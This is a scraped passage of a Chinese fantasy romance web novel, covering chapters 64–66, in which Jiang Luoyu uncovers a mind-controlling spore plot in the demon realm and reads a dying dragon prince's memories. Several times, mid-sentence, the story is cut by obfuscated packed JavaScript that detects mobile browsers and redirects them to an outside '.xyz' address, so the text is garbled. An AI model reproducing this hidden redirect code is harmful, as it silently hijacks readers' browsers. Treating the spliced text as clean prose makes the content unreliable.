d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036603|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丛明雪捧着姜洛玉的脸认真端详,确认一干二净这才放手。 元灼深吸一口气,推开木门。 门后,漆黑里悬着一具淡蓝的冰棺。 姜洛玉看清里面躺着的人,正是他此前在元灼记忆里看见的宫装女子。 女子胸口的衣物被火红羽毛覆盖,上面散发着……魔气。 他现在认错什么都不会认错魔气,这东西在下界可是险些将他炼化。 元灼小心翼翼抚上冰棺,道:“我的母妃,就是证据。她——” “太子殿下,可否让我近距离观察?”姜洛玉打断道。 元灼点头。 姜洛玉凑过去,将手放在冰棺之上,微不可察的魔气泄露出来。 和下界感受过的魔气,当真相同。 他眼中划过一丝冷意,收回手,听元灼将往事娓娓道来。 “我母妃死在三千八百年前,死得极其突然。我那时外出历练,回来只看见了她的尸身。所有人包括妖皇都在说,她是走火入魔死的。我亲手查验了母妃的尸首,却发现和妖皇说的一般无二。” “朱鸟一族奉行天葬,妖皇让我按照母妃遗愿将她带回族内圣地焚化,再扬进永夜天的倒置穹宇。” “可我不信。”元灼声线嘶哑,“母妃修炼多年连心魔都没生出来过,怎会突然走火入魔暴毙而亡?” “我瞒过同行的妖皇眼线,留下母妃尸身。果不其然,将近两年后,她的心口突然生出了魔气。我母妃分明是被魔族杀害!我不明白妖皇为何要骗我,为何不彻查母妃死亡的真相,便去了母妃住过的宫殿试图寻找真相。” “我找到了母妃留给我的遗物——这天上地下除了我没人能得到它。” “里面盛满妖皇为了延续寿命杀死大哥、三弟他们的证据。我不知道母妃是怎么拿到那些东西的,但她在里面留给我一封信,说她已受天罚命不久矣,妖皇又对她起了疑心,大概等不到我回来了。” “信的最后一句话说,妖皇早就与魔族勾结,妄图协助幕后之人统一六界,再彻底逍遥于天地。” 幕后之人。 姜洛玉捏紧了拳头,又是幕后之人。 “元君泽他,求得是无尽长生。” “不过……妖皇为何不亲手将尸体毁去?”姜洛玉不解道,“就说是刺客做的,再放出个替罪羊。” 元灼:“妖皇宫固若金汤,建立之初从未有过刺客潜入。更何况他那个人过于自信,既然遮掩住了母妃身上的伤口,定是有了完全把握魔气不会被他人发现。” 姜洛玉摸了摸下巴,迟疑道:“我觉得,大概不是这个原因。” “你听说过……惑心蔁吗?” “什、么……” 元灼的皮肤骤然间变得五彩斑斓,迷幻的颜色染得龙角都晶莹剔透起来。 “真是啊!”姜洛玉手忙脚乱抓下辰欢,忍痛哄道,“好欢欢,我手里没有趁手的法宝,只好委屈你一下了。” 辰欢:“……好。” 小金龙哼哼唧唧地飞到已经开始发疯的元灼面前,将自己扯成两人多高的长条,“刷刷”几下把人捆了个结实。 接下来,看的就是元灼的意志力了。 64.穿越第六十四天 “我似乎,忘记了一些事。” 姜洛玉:“……?” 见分身罕见地说了这么多话,他侧头看去,在那张脸上看出了苦恼。 “那你记得我是谁吗?”他问。 丛明雪毫不犹豫:“阿玉。” 姜洛玉:“你没把我忘了就行。其他的慢慢想。” 三清秘境。 “分身怎么还没点魂?”红楹在殿内来回踱步,急得好不容易长出来的红发凭空竖起。 众人不语,只是一味地将视线投向本体。 察觉到或哀怨、或焦急、或平静的眼神,丛明雪睁开眼,迟疑道:“分身……忘记有点魂这回事了。” 隔了太远,本体还无法控制。只能将希望寄托于分身自己想起来。 众人:“……?!” “阿雪、阿雪?” 分身回过神来,依旧没能记起自己忘了什么事。 他只好依据本能牵住姜洛玉的手,继续思考。 很重要,不能忘。 姜洛玉无奈,维持这个姿势将神识沉入丹田观察“三清秘境二号”,也就是他变异的元婴。 经过半年多的喂养,“三清秘境二号”初具雏形——从生姜变成了微缩完全形态的三清秘境。 至于消失的无相球,则是被吞进了“三清秘境”一并重塑。等到秘境重建完毕,无相球就会成为三清秘境的伴生灵。 到时候秘境想变成什么就变成什么。 二号在丹田内虚浮着,通体金黄,像是没有家的鱼。 姜洛玉没看几眼,注意到外界异动,抽离神识,只见辰欢正拽着化龙的元灼满空间乱飞。 半金半彩的长龙没几下就被按在地面动弹不得,又是一炷香过后,那身幻色才褪了一干二净。 元灼恍若大梦初醒,化为人身,对着姜洛玉恭恭敬敬行了个礼:“多谢命者点醒。” “若非命者,我还不知要受此物蛊惑多久。不过……这惑心蔁究竟是何物?” 姜洛玉牵着丛明雪站起,把惑心蔁的特性说了一遍。 元灼:“不知命者是如何发现我体内惑心蔁存在的?” 姜洛玉:“此事说来话长,下界早就深受其害。方才听你说起往事,除你之外所有人都对秋梧前辈的死毫无异议,自然能联想到惑心蔁。” “那你又是如何在被惑心蔁寄生下发现端倪,留下前辈遗体的?” 元灼苦笑:“朱鸟心如明镜,不然纤尘。我虽是金龙之身,却有半颗朱鸟之心。母妃不受惑心蔁孢子所困,我亦然。” 姜洛玉三言两语将下界关于惑心蔁的事情告诉了元灼。 元灼听完眸子震了震,若是下界早就遭殃了。那妖界呢? 妖界还有人没被惑心蔁控制吗? 他本以为是妖皇取来惑心蔁化为己用,中招的只有妖皇宫的人罢了。 现在看来,这东西居然和仙界乃至早就消亡的神界又扯上了关系。 “阿雪,你去看看地面那些孢子和下界的是不是同根同源?”姜洛玉柔声哄着。 分身得到指令,查看后道:“是。” 惑心蔁的孢子在被种入经脉后,若是本体不进行任何操控,只是会本能运作最初指令。 就如下界所有人都认为白卅是个“完美无缺”的仙盟盟主般,妖界的指令姜洛玉猜测……大概是所有人都要听妖皇的话。 他拉起分身,道:“既然如此,只要白卅不在妖界,这孢子就只是他留给妖皇控制人心的工具。” “我先让龙神为你解去龙骨咒枷,孢子的话……麻烦太子殿下在妖皇面前演戏了。” 元灼点头,激动道:“多谢龙神,多谢命者!” “你会炼器吗?就是那伽叔炼制的那个‘红绿灯’。”趁着辰欢为元灼解咒,姜洛玉在一旁和分身悄悄咬耳朵。 分身慢吞吞道:“会,很慢,半个月。” “不慢。你要什么材料列给我,我去找玄安要。”姜洛玉背着两龙亲了一下分身的嘴角。 分身瞪大了眼睛,脸颊浮起红晕。 这边辰欢解了咒,累得不行,新生的肉身和神力磨合得并不好,盘到姜洛玉头顶沉沉睡去。 姜洛玉撸了把龙头,对元灼道:“太子殿下,你先不要轻举妄动。等到能检测出孢子的法器做出来,你再去联系旧部和母族。” 元灼点头:“我明白。不过……我还有个不情之请。” “何事?” 元灼:“恳请龙神救救我九弟,在下甘愿为龙神效犬马之劳,赴汤蹈火在所不惜。” 姜洛玉想到了城门的公告,道:“龙神今日累了,等他醒来自会答复。” 该说的都说完了,姜洛玉带着一人一龙挥别元灼。 沉重的木门缓缓合上,隔绝了满室阴凉。 回了住处,姜洛玉敲响了玄安的房门。 玄安恭敬道:“命者何事?” 姜洛玉:“我要炼器的材料,还有炉子。” 玄安:“……我是剑修,命者你去找玄慈。” 姜洛玉还真不知道玄慈是器修,两人认识半年他也没见过玄慈炼器。 敲了门后,只听里面传来慢慢悠悠的回复。 “没锁……进吧。” 听完姜洛玉的诉求,玄慈一个鲤鱼打挺从床上蹦起,劈里啪啦把东西拿了出来:“早说啊……我最不缺的……就是这些东西了。” 姜洛玉注意到玄慈变为竖瞳的眼睛,犹豫再三,终于把心中疑问说了出来。 “玄武龟蛇相缠,你为蛇身,为何说话如此……温吞?” 玄慈:“没什么不好说的。当初破壳时,我哥咬了我一口,化形后我娘才发现我们两个的一些小特质颠倒了。” 姜洛玉:“……比如?” 玄慈:“说话速度、本体大小、伴生灵器。” 姜洛玉:“……” 就差灵魂互换了。 玄慈:“妖界四大圣兽血脉最纯的继承者都会诞生伴生灵器。我的是方天造化鼎,专供炼器,我哥的是坎水离火剑,难得的成长型灵剑。” 话毕,玄慈拍出个巴掌大的铅灰色小鼎,上面布满了蛇形花纹。 他看向丛明雪分身所在,挠挠头:“我教他怎么用。不过……你这道侣魂魄不全,能炼器吗?” “大概吧。”姜洛玉不确定道,“要炼制的东西有点复杂,三言两语说不清。” 丛明雪点头。 “那我帮忙看着点。”玄慈祭出方天造化鼎,摆出单子上的一众材料。 丛明雪走过去,抱了抱姜洛玉,手指在他背部点了两下,道:“阿玉,出去。” “为什么?” 分身的眼中划过一丝委屈:“你在,我会分心。” 姜洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038223|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉忍俊不禁,回抱了一下分身,走的时候带上了门:“我出去等你。” 总算有机会捋顺短短一夜发生的事。 姜洛玉坐在客房的软床上,边啃从太子私库顺来的天材地宝边思考。 痉挛的胃部在天材地宝进入后抚平了灼烧,丹田的三清秘境又凝实几分,可依旧和死物没什么区别。 首先,丛明雪分身来到妖界,要带他回下界。 怎么来的暂且不提,这个“带他回下界”……怎么回?分身目前没说,他也不敢贸然动用《太一万法无相诀》去看分身的记忆。 其次,龙神复苏,自己成了命者。 这个倒是没什么好深究的,不过是各取所需罢了。 龙神当年借他本体蕴养神魂时,就料到此后三清秘境也会流落他界。等到命定的年月一到,肉身复苏保护流落在外的“三清秘境”,也就能全了这一份因果。 最后,就是妖皇勾结魔族,还有惑心蔁的事了。 到现在可以确定魔族插手了妖界和修真界,那么仙界自然逃不过。幕后之人隐没在阴影里操控全局,敌明我暗,又不知幕后之人到底要如何“统一六界”。 他们最该做的,是回到仙界确认仙界十二仙境有多少落入了幕后之人手里,再联合其余仙境对抗幕后之人。 奈何知道内幕的神君都被丢到了下界,想上去必须得拿回神格,就是走重修飞升的路子也行不通。 神格自从离体就和死了一样,有了新主忘旧主,任凭用什么方法召唤都没有用——由何在夕倾情提供呼唤经验。 他又和丛明雪命格相缠,同样也被牵连的无法飞升。 现在来了妖界,倒是有办法去仙界。他们去不了也能让旁人带话,最先应该联系的是春花境的境主——仙帝空杞。 但相隔两界,又无法确认空杞是否中招。如果中招了,那又该去找谁? 每个仙境之间相隔甚远,更别提妖界的人想要畅通无阻,还需得到仙帝的允许。 不确定因素太多了。 姜洛玉缓缓吐出一口浊气,把睡着的辰欢放在手里盘了下,轻轻放到枕头边,整个人倒在床上打算睡一觉再说。 走一步看一步吧,反正君子报仇十年不晚,在他心里更是——只要报了就不晚。 闭上眼,浓浓倦意袭来,世界一片漆黑。 他……做梦了。 姜洛玉站在草原上,望见远处蔚蓝的湖泊才后知后觉——不是梦,是他的识海。 睡个觉怎么睡到识海来了?还有他这识海自成的小世界,怎么从深秋变成初夏了? 玄衣剑许久没见过主人,激动地飞过来贴贴。 姜洛玉摸了把玄衣剑的剑身,朝着湖水走去。 站到湖岸边向下看去,果然看见了深不见底的记忆光球。 “阿玉。” 水里猛地传出一声呼唤,半透明的人影如鱼跃般钻出,扯住了他的手臂。 姜洛玉坠到了水里,看清了人影的长相。 是丛明雪。 又或者说,是一道融合了所有三魂七魄的灵体。 “不要拒绝我。” 灵体露出个淡淡的笑,吻了上去。 姜洛玉本能闭眼,再睁眼,灵体消失了。 与此同时,三清秘境爆发出一道尖叫。 “点、魂、了!我就说我没骗你们吧!” 65.穿越第六十五天 阴阳殿,白三水缩在角落里捂着脑袋,满脸哀怨。 奈何他脸上的白光这几天又大了几圈,直接吞没了半个手臂,做出这副姿态纯属抛媚眼给瞎子看。 垢姬——瞎子本瞎甩了甩手,语气里没有丝毫歉意,阴恻恻道:“你这么大声,是想把我超度了吗?” 白泽祛邪,而她的本体又是三毒断魂草,邪得没边。 方才白三水情绪过激,带动身体里的驱邪之力,吼出的声音连带清气钻进耳朵,差点没把她震得神魂出窍。 大殿中央,丛明雪的本体闭目端坐,眉心微光荧荧,代表着点魂成功。 点魂一旦开始,两人魂魄相通,本体就能把剩下二魂四魄的重心通过“点魂”转移到姜洛玉身上,这样方可实现跨界对话。 白三水接过凝星的膏药涂在头顶隆起处,清了清嗓子:“如今分身已经点魂,说明记忆未损,没什么好担心的了。” “等等吧,看药辛一会儿能带回来什么消息。” 识海蓝湖里,姜洛玉随波逐流。 他能感觉到灵体没有消失,而是在他身体里,可…… “阿玉?” “我在。” 他答着,察觉到这声“阿玉”多了几分人情味,似乎是正常状态下的丛明雪。 于是挣扎几下游出水面,扒着湖岸问道:“刚才说是怎么回事,你在哪儿?” 声音回荡在看不见边际的草原。灵体依旧没出现。 丛明雪:“我们找到了带你回下界的方法。刚才进行的是点魂之术,可以将你我魂魄相通。” 姜洛玉将湿漉漉的发丝捋顺到脑后:“我现在也是魂体?” 丛明雪:“没错,我这部分魂魄现在藏在你的魂魄深处。接下来,只要你和分身一起投入往生河,就能以下界灵标为引,顺利回到天正宗。” “要尽快,灵标只能留存三个月的时间。” “这……”姜洛玉为难道,“怕是不太行。” “为何?”丛明雪有些意外,“阿玉你在妖界可是碰到了难处?” 本体在下界只能感受到分身模糊的心理活动,并不能直接和分身记忆共通,是以他并不知道妖界都发生了什么。 姜洛玉把妖界发生的事都说了一遍,得来丛明雪长久的沉默。 “我必须去无尽宝库。”他伸手接住天空骤然落下的飞雪,“那里……似乎有对我很重要的东西。” “可若是去无尽宝库,势必无法在灵标消失前赶去往生河。” 无尽宝库在妖界最西侧的妖都,而往生河却位于东南角的菩提城。 菩提城的城主,乃是传说中被佛、道二祖点化过的莲心天月菩提,本体化为无垠巨树拦截往生河里不甘投胎的怨魂。 妖君级别的修士,从妖都到菩提城全速赶路也要用上三天三夜,更别提他到时候说不准要在无尽宝库待上多长时间。 “我信你。”丛明雪没有丝毫犹豫,“灵标的事情我再去想办法。至于妖皇同魔族勾结一事,你不要插手太多。” “阿玉,我要你平平安安地回来。” “好……” 识海里的雪消失了。 客房,姜洛玉缓缓睁开双眼。 一股熟悉的冷香飘了过来,他被分身抱住了。 分身抱得很用力,像是要将他揉碎了融进身体。 姜洛玉被分身身上的凉意激得打了个寒颤,那凉飕飕的感觉直击神魂。 “三天。” 分身冒出了没头没脑的数字。 姜洛玉顺毛一样摸着分身的长发,拍拍他的背:“我睡了三天?” 丛明雪“嗯”了一声,缺失的魂魄让他无法思考太多前因后果。 他只知道,他的道侣在床上躺了三天三夜,无声无息。 就像是死掉了。 这般想着,他松了力道,侧过头索吻。 姜洛玉避开分身,问:“辰欢呢?” 分身道:“看玄慈,炼器。” “刚忘问了,你怎么守在我这里?”姜洛玉没再拒绝分身的亲近。 分身没有回答,开始自顾自地亲他。亲法很单纯,只是连续不断的啄吻,从眉眼亲到下巴,又从下巴亲到脖子。 再向下…… “好了。”姜洛玉脸颊发烫,呼吸乱了几分,握住丛明雪的手,“今天到此为止。” 他们现在魂魄相通,之前又神魂相交过。若是过于亲密,以分身的自制力很容易牵动魂魄,倒时候这一魂三魄离体可就糟了。 “不好。”分身声音微哑,葱绿色的眸子里划过暗光。 他揉了揉姜洛玉发红的眼尾,在那张漂亮、又不会让人错认性别的脸上再度落下个清浅的吻,拇指反复摩挲着下唇一角。 红痣颜色愈发深邃,紧接着鼻尖相碰,耳鬓厮磨……就连空气的温度都上升些许。 还想要更近些。 丛明雪想着,本能地—— 察觉异动,姜洛玉顾不得手脚发软,一把推开丛明雪,黑色眸子浸润着些许水意。 好在两人分开后,丛明雪恢复了冷静。 分身也知道自己做错了事,老老实实坐在榻上气息内敛,似乎方才攻击性尽显的人不是他一样。 姜洛玉暗道“美色误人”,头疼得又离分身远了点:“你别过来。坐在那儿回答我刚才的问题。” “气息不对,我就来了。”丛明雪慢吞吞道。 姜洛玉:“那法宝呢?玄慈知道怎么炼制吗?” 丛明雪:“他很聪明,我教他了,材料够。” 姜洛玉了然,材料确实够用,元灼龙身上抖落下来的孢子粉足有一大缸。 分身还想凑过来,姜洛玉“罚”他去监督玄慈炼器,自己缩在客房开启“饕餮”模式。 月上柳梢,房门响了两下。 姜洛玉整理好略显凌乱的衣襟,才道:“进来吧。” 玄慈眉开眼笑地捧着“红绿灯”走进来,头顶的小金龙随着他的动作起起伏伏。 身后还跟着个表情冷漠的丛明雪。 “完成了!”玄慈如蒙大赦,“龙神就还给你们了。” 说罢脚底抹油般跑出客房。 姜洛玉点了点辰欢的脑袋:“你虐待他了?” 辰欢心虚地转过头,飞到丛明雪脑袋上盘踞着。 “我不过是在他鼎里打了个滚,谁知道灰烬里面还藏着个器灵。那小东西也忒会藏,它自己不跳出来我还发现不了。” 姜洛玉:“仅此而已?” “器灵,被吓晕了。”丛明雪补充道,“本来一天,就能炼制完毕。” “拖成了三天。” 姜洛玉:“……” “咳咳,先不说这个。”辰欢扭动着龙身,“我已经去看过九皇子了。” 姜洛玉听出辰欢话里的严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045833|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肃:“没救醒?” 辰欢:“是没救了。那家伙龙珠就剩一半儿!我堂堂龙神降世也救不了一条没了龙珠的龙。” 龙族和普通妖族不一样,体内除了元婴还多了个龙珠,是龙族的命脉所在,可以称之为“第三条命”。 也是最关键的一条——龙珠没了,龙也就跟着退化,先是失去龙角,接着是四爪……直到变成个没鼻子没眼的长虫。 最后再失去生机,变成粉末随风飘小欧,魂魄也跟着消散。 “一半儿?被别人拿走了?”姜洛玉把玩着红绿灯,决定去见一见元灼。 “叩叩——” “请进。”元灼将手上的湿帕放回玉盆。 姜洛玉推门而入,第一眼便看见了床榻上形销骨立的青年。 青年有着金龙一脉相承的金发,双眼紧闭,让人看不见里面的色彩。虽病弱到极点,也能看出缠绵病榻前的风姿卓绝。 最关键的是,他头上的龙角只剩下了不到一寸。 “见过命者。”元灼恭敬行礼,苦笑道,“启儿自幼便与我亲近,他是……意外诞生的胎龙。” “他无母,我又刚失母亲不久。见妖皇没有杀他的意思,便养在了身边。” “不曾想只是去渡妖君劫,回来龙珠就没了一半儿。” 姜洛玉眸光微动,渡劫这东西害人不浅。 不过倒是因人而异。 他靠着渡劫牵动了丛明雪的情丝。要不然,光凭两人在仙界像室友一样相处磋磨时光,指不定几万年都捅不破窗户纸。 分身眼观鼻鼻观心,借着衣袖遮掩,拉住了姜洛玉的手。 姜洛玉回握了一下分身的手,道:“我此次前来,是要尝试查看九皇子渡劫时的记忆。只要找到那一半儿龙珠的下落,可保九皇子性命无虞。” 元启的情况和那些彻底失去龙珠的龙族不同,他还有一半儿留在身体里,找到另一半儿是能修好的。 问题在于元启如今渡劫失败昏迷不醒,用那些法术强行探查记忆,怕是会对神魂造成不可逆转的损失。 辰欢虽是龙神,对这方面却没什么研究,脑子里的法术也没找到合适的。 不过姜洛玉身怀《太一万法无相诀》,修为又上来了,看个记忆不成问题。 元灼想起在密室那次的奇特经历,眸中划过一丝亮光,点了点头。 姜洛玉伸出手,手指点上元启眉心。 功法运转到极致,外来的记忆如潮水般涌入识海。 很快,关于下界渡劫的记忆就初见端倪,他看见了…… 一条蛇? 还有一个打着赤膊的庄稼汉子? 姜洛玉人有些麻,联想到了“农夫与蛇”的经典曲目。 蛇是水面倒影里的蛇,两指粗细,金黄金黄的。 庄稼汉子是被蛇伏击的汉子,剑眉星目,皮肤黝黑。 显而易见,蛇就是渡劫的元启。 记忆继续。 蛇张开嘴,恶狠狠地咬在庄稼汉子的脚后跟—— 毒牙嵌在了满是厚茧的足跟。 蛇没牙了。 姜洛玉:“……” 庄稼汉子察觉到异常,俯身用小刀剜掉了蛇牙和一部分老茧,撩水洗了洗缺口,这才转身看向咬他的蛇。 蛇一动不动地看完庄稼汉子的动作,似乎被吓傻了。 “怪好看的,你跟我回家吧。” 66.穿越第六十六天 蛇就这么和庄稼汉子回了家。 它没了牙无法捕猎,于是庄稼汉子就拍死老鼠放在它面前。 一人一蛇相安无事了半年多。 来年开春,蛇的牙重新长了出来,它被庄稼汉子放回了第一次见面的小溪旁。 庄稼汉子头也不回地走了。 但是庄稼汉子不知道,蛇已经被他养得失去捕猎能力了。 蛇就这么整日游荡在小溪旁,等着庄稼汉子回来。 因为是蛇记忆,视角很狭窄,蛇又没有脑子,就显得这段记忆十分无趣。 姜洛玉适当快进了一下。 庄稼汉子再也没有来过小溪旁。 蛇从初春等到暮春,从初夏等到仲夏……直到大雪覆盖了深山,也盖住了蛇。 第二年开春,掺杂着枯草的冰雪里,蛇睁开了眼睛。 它、是他,他化形了。 蛇知道自己是因为庄稼汉子的喂养沾了人气,开了灵智修炼,改变了必死的命运。于是他随意用树叶罩住身子,寻着记忆里的方向去找庄稼汉子报恩。 庄稼汉子依旧住在老破小的木屋里,还有一个缠绵病榻瞎了眼的爹。 蛇跑过去拉住庄稼汉子的手,说他是过来报恩的。 庄稼汉子不信报恩。 但蛇就这么留在了庄稼汉子的木屋里。睡他的火炕,穿他的衣服,吃他的…… 蛇不用吃东西了,他现在只需要吸收灵力。 可惜人界灵气微薄,蛇能化形全靠他过人的资质和庄稼汉子的点化。 蛇慢慢知道了庄稼汉子的名字——时川。 姜洛玉快速略过两人相处的日常。 说实话,一条刚化形的蛇和一个老实巴交的庄稼汉子的相处没什么好看的。 前者初具人形,不通人性,漏洞百出。也就只有时川这种老实人才看不出来,把蛇当成了家破人亡又死里逃生的小少爷。 脑子还不好使。 就算后来发现了,心肠也足够软,觉得元启没害过人,又只是过来报恩,也就没赶他走。 不过……姜洛玉想不出龙珠是怎么被拿出来的。 渡劫的时候元启和普通蛇妖没区别,要掏也是掏妖丹,掏哪门子龙珠? 猫腻一定出在时川身上。 果不其然,后面的“剧情”十分老套。 五年过去,元启期间治好了时川爹的眼疾,他又总能在山里找到珍惜的草药,日子越过越好。 第三年的时候老人寿终正寝,元启依旧没走,守在时川身边,说要等他飞黄腾达才算尽了因果。 第四年,时川所在的村子爆发疫病,而元启在用修为帮着治病的时候不小心暴露原形,发现“真相”的村民把他是妖孽的事情捅到了全村人面前。 元启知道的时候,那些人已经打到了时川家门口,手里拿着火把和黑狗血,要把妖孽烧死。 他们说,全都是因为他,村子才得了疫病,他还想把他们毒死吃肉。 元启没有动手,也不能动手。对凡人动手,他的仙途也就断了。 火舌顺着衣角爬上身躯,烧得金鳞尽显,狗血淋头。 元启想要逃走,却被禁锢在原地动弹不得。 他嗅到了符咒灰烬的气息——有人找了有真本事的道士。 火里掺杂了能杀死他的东西。 “扑哧——” 元启转头,只看见了时川被穿透的胸口。 大片血迹染红了灰扑扑的衣服,流下去的过程像蜿蜒的蛇,最后滴落成水洼。 不知道是谁喊了一声“神龙”,火焰烧尽了。 村民扔下武器开始跪拜、认错。 元启抱着晕过去的人,无措地捂着他的胸口涕泪四溅,可却发现时川连三魂七魄也在一并溃散。 他的脑袋空白,只有本能仍在,摸上丹田,生生从里面掏出颗圆润金灿的珠子。 半个拳头大小的龙珠被推到马上死去的人的胸前,逐渐沉了下去。 “小龙,我不需要你的龙珠。” 渡劫最后一刻记忆,是无穷的黑雾,还有几乎能将人溺毙的阴冷。 “呼——呼——” 姜洛玉猛地收回手,表情扭曲。 那股阴冷…… 分身凑了上去,替姜洛玉擦拭掉额头的冷汗,指尖不小心碰到温热的皮肤,做错事般迅速拿了下去。 “我知道了,”姜洛玉抓住丛明雪的手,黑眸发亮,“是鬼修!” 分身因为魂魄不全阴气外露。记忆里的那股阴冷,和分身的阴气如出一辙! 把看到的记忆粗略说了一遍,房间的氛围凝重起来。 元灼倒不认为姜洛玉会骗他。毕竟龙神亲选的“命者”,品行自然不会差到哪去,更别提他还协助龙神帮自己摆脱了两千年的束缚。 辰欢扒着丛明雪的发丝,啧啧称奇:“到底是哪个天才发明的鬼修转世渡劫,和脱裤子放屁有什么区别?” 鬼修的前提是修士一定是魂魄状态,转世渡劫有了肉身,自然和这个前提相悖。 “文明点。”姜洛玉点了点小金龙的脑袋,对于用一副幼嫩嗓音爆粗口的辰欢十分不满。 小金龙满脸不服,强硬三秒最终败下阵来,飞到了黑色发顶继续盘踞。 元灼擦了擦元启龙角融化分泌出来的污迹,道:“若那农夫是鬼修,身份定不简单。” “普通鬼修根本不能转世渡劫……我去——” “冷静。” 姜洛玉拦下元灼。 “你去了又能怎么办?你去能找谁?”他看着元灼的红得发黑的眼睛,一边说着,一边摸出能治疗心魔的天材地宝。 将巴掌大的紫花取之精华团成球,姜洛玉抓准实机箭步上前,低喝一声,给了元灼腹部一拳。 趁着对方不由自主张开嘴,一击命中! 完美收功。 元灼掐着脖子咽下苦涩的花汁,头脑清明,金色的瞳孔却暗沉几分。 确认自己冷静下来后,拱手道:“多谢命者提醒,此事还需从长计议。当务之急是得从无尽宝库拿到保住启儿性命的天材地宝。” 他替床上的青年捋了捋汗湿的发丝,神色阴冷。其他的账,他迟早一笔一笔讨回来。 姜洛玉嘟囔着“弟控真可怕”,劝了元灼几句有病别憋着,找个信得过的医仙瞧一瞧。 说罢回了客房。 一晃又是将近三月过去,期间丛明雪的本体杳无音讯。 不过姜洛玉“吃不饱”的毛病倒是日渐减轻,已经缩减到一天三种天材地宝即可维持正常生命体征,真实修为也稳固在了渡劫巅峰。 闲来无事,趁着脑子格外清醒,他还把《正天诛魔剑法》后六式钻研透彻,砍得太子府的演武场没一块儿好地。 《太一万法无相诀》更是又捋顺了一遍,趁着渡劫修为还在,能够参悟到功法第九转——不仅能够完全窥探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049039|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人记忆,还能复制对方最强一击强度的九九成。 他选择将功法融会贯通。 出于良心的谴责和原则性问题,他在妖都寻了几个灵兽园,把里面的灵兽挨个“摧残”一遍。 好消息,第九转功法进行得十分成功。 坏消息……没什么坏消息,他一百多世的草木牲畜都做过,又证了道心,看个灵兽的记忆不在话下。 直到无尽宝库开启前三天、开宝宴当天,熟悉的倦意袭来,姜洛玉闭上眼,放任魂魄显化沉入识海。 丛明雪站在旷野上,默数三下,接住掉下来的人。 三月未见,故人依旧。 他甚至有一丝嫉妒能陪在姜洛玉身边的分身。 “有办法了吗?”姜洛玉重心不稳,只好抱住丛明雪的脖子。 丛明雪:“找到了,昆仑山内有天地造化的山魂可延续灵标灵息。” 姜洛玉想起诗沐心满面愁容的脸,道:“东西到手了?” 丛明雪点头:“已经得了足够的山魂放在灵标之上。” “怎么拿到的?”姜洛玉眉心跳了跳,直觉和那什么“昆仑玉华琴”有关系。 丛明雪:“我们刚找到方法不久,还未出发,就收到昆仑殿亲传弟子诗沐心的求救。我与三清秘境诸位前辈赶去,只见昆仑玉华琴笼罩住整座昆仑山,意欲炼化其内山、人之魂。” “等到救出昆仑殿众人,碎其魔障,协力方才将昆仑玉华琴伏诛。器灵衍生出来的魔魂倒是消散了,无法从其入手记录魔气特质。” 之前到手的魔器都记录了,方便之后再碰上的时候做对比。 “一年。”丛明雪放下姜洛玉,面对面郑重其事道,“不能再往后拖了。” “你必须回来。” 湖风吹过两人只见的空隙,姜洛玉也很认真的“嗯”了一声,维持着魂体显化的状态,微微踮脚,亲了丛明雪一下。 “放心吧,有人挡路我直接把他们一剑挑下去。” 妖皇宫,为了即将到来的开宝宴,张灯结彩好不热闹。 宫人们很久没能体会这么鲜活的氛围了,上次还是五百年前的太子寿宴。 蛙老六顶着好不容易抹平的脸,拎着桶在宫道上洒晨露。 今天除了是开宝宴,还是龙神和命者第一次在正式场合露面的日子。 命者妖界众妖是不太熟,可龙神谁不知道啊! 那可是妖界的“创世神”! 内务府的大妖管事按照妖皇吩咐,提前七天就把所有宫人赶出来分配了活计,一直忙到现在。 蛙老六已经能想到宴会后,龙神风姿在留影石里风靡妖界的样子了,越洒露水越起劲儿,感觉自己攒的妖晶都有了用武之地—— “你在洒什么?” 一道稚嫩的童声响起,蛙老六顿了顿,扭头对上金色的眼睛,还有龙角。 “回、回大人!”他“噗通”一声跪下去,“是能洁净空气的不染晨露。” “臭臭的,妖皇品味真一般。” 辰欢捏着鼻子满脸嫌弃。 姜洛玉扯了扯华贵异常、足以闪瞎路人的命者礼服,高贵冷艳地夹起辰欢继续赶路:“臭个鬼,再作弄人揍你了。” 徒留地上的□□精低着头抖若筛糠。 “当——” 